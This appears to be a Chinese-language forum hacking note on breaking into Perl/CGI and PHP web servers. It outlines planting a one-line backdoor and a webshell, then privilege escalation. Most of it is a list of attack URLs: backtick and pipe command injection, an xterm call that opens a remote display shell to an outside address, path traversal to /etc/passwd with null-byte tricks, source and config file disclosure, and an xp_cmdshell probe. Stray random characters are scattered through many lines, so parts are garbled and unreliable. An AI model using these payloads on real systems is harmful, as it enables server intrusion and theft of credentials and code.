总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 5 d: L; W2 ^$ x2 g I8 I; g% O) `
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 0 K' r* }7 z0 u0 v+ U& D$ |8 ^
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
( N1 B: F7 _. N; H注“
) V( b$ r, }/ m1 S+ s, i% rperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 8 y% ^5 @1 C/ F3 l
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
4 P2 V% ~( k, J5 J$ z9 d' d3 U
' g( G2 S$ J/ [% ~( b8 Yhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
* m! U4 ]" e) \! X% Y+ c+ q7 uhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
* e1 C9 N( s7 Z$ i4 mhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
# J. s W4 v) h1 Vhttp://target.com/cgi-bin/home/news/sub.pl?`id` # D# T- ^0 C" F) |/ P
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
( X# Q. k# |& k2 s7 b0 dhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 0 |8 W1 }) c# [0 I4 s
# M' y) u/ J9 E2 [* m; d) j; z& }
http://target.com/test.pl;ls|
8 P; P: L& h$ y1 U0 s, `6 s" Dhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| : I7 R& I: y7 X0 Y1 S {
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| # h$ ?1 P1 m, n0 c
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
! F: X8 q( ]3 t/ S比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 ; U" v5 u) \3 K
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection : P; ]5 C% n: |. Z
`$ d$ n9 y' t8 }! J1 p9 F) m
http://target.com/test.pl?&........ /../../etc/passwd
1 C5 d; p# v+ m- q* g" P; l7 j
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ * c. }1 e B8 S4 c( u, h
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
# \ s( c6 Q) f$ A$ Ohttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 ( K( b# q3 ?5 l& r9 c* p" V
" \/ y6 c4 Q- x' z2 zhttp://www.target.org/show.php?f ... /include/config.php 查看php代码 & ?: F7 J( x# ~4 |+ ~$ y! }" j. y
http://www.target.org/show.php?f ... ng/admin/global.php
7 \5 T3 w1 {: ~7 [
) R* e6 w* @7 n {4 o' S- M7 Y3 Bemm和ps的一句话
* b' s. H" z6 F/ l2 F7 G4 J# B" O6 [5 {' W& {
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 $ S, }( ~( m$ Q2 q6 g' _
, y4 d! V5 z' s3 F# ~* L( {0 _
>bbb%20| 4 h& n+ C( j/ ?; ~
+ K% M% ]/ o( z; S! H+ r& Y1 B: shttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 6 R, H7 Q; t5 D
( }! T8 v A: J, ]$ J1 C$ shttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
' x1 s( }. X& ~0 Chttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
) \% E. C, Y9 X3 Q0 [5 C7 X
- o L0 V6 u4 f- L0 n相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 ' t7 a' a3 m( N! C
http://target.com/index.html#cmd.exe ! ^/ D9 S& g! @ ^1 I+ q" M6 B6 h" g
http://target.com/index.html?dummyparam=xp_cmdshell ; f- v y. q$ X6 O5 C
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd & n5 ]( C1 ^% d8 @9 B
|